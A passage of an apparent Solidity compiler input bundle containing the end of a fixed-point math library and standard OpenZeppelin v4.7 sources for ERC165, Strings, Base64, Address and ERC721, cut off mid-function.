0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n result = (x << 64) / y;\n else {\n uint256 msb = 192;\n uint256 xc = x >> 192;\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1);\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 hi = result * (y >> 128);\n uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 xh = x >> 192;\n uint256 xl = x << 64;\n\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n lo = hi << 128;\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n\n assert (xh == hi >> 128);\n\n result += xl / y;\n }\n\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return uint128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer\n * number.\n *\n * @param x unsigned 256-bit integer number\n * @return unsigned 128-bit integer number\n */\n function sqrtu (uint256 x) private pure returns (uint128) {\n unchecked {\n if (x == 0) return 0;\n else {\n uint256 xx = x;\n uint256 r = 1;\n if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }\n if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }\n if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }\n if (xx >= 0x10000) { xx >>= 16; r <<= 8; }\n if (xx >= 0x100) { xx >>= 8; r <<= 4; }\n if (xx >= 0x10) { xx >>= 4; r <<= 2; }\n if (xx >= 0x4) { r <<= 1; }\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1; // Seven iterations should be enough\n uint256 r1 = x / r;\n return uint128 (r < r1 ? r : r1);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n *\n * _Available since v4.5._\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/ERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721.sol\";\nimport \"./IERC721Receiver.sol\";\nimport \"./extensions/IERC721Metadata.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/Context.sol\";\nimport \"../../utils/Strings.sol\";\nimport \"../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n using Strings for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721.ownerOf(tokenId);\n return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Safely mints `tokenId` and transfers it to `to`.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n // Clear approvals\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(ERC721.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n // Clear approvals from the previous owner\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits an {Approval} event.\n */\n function _approve(address to, uint256 tokenId) internal 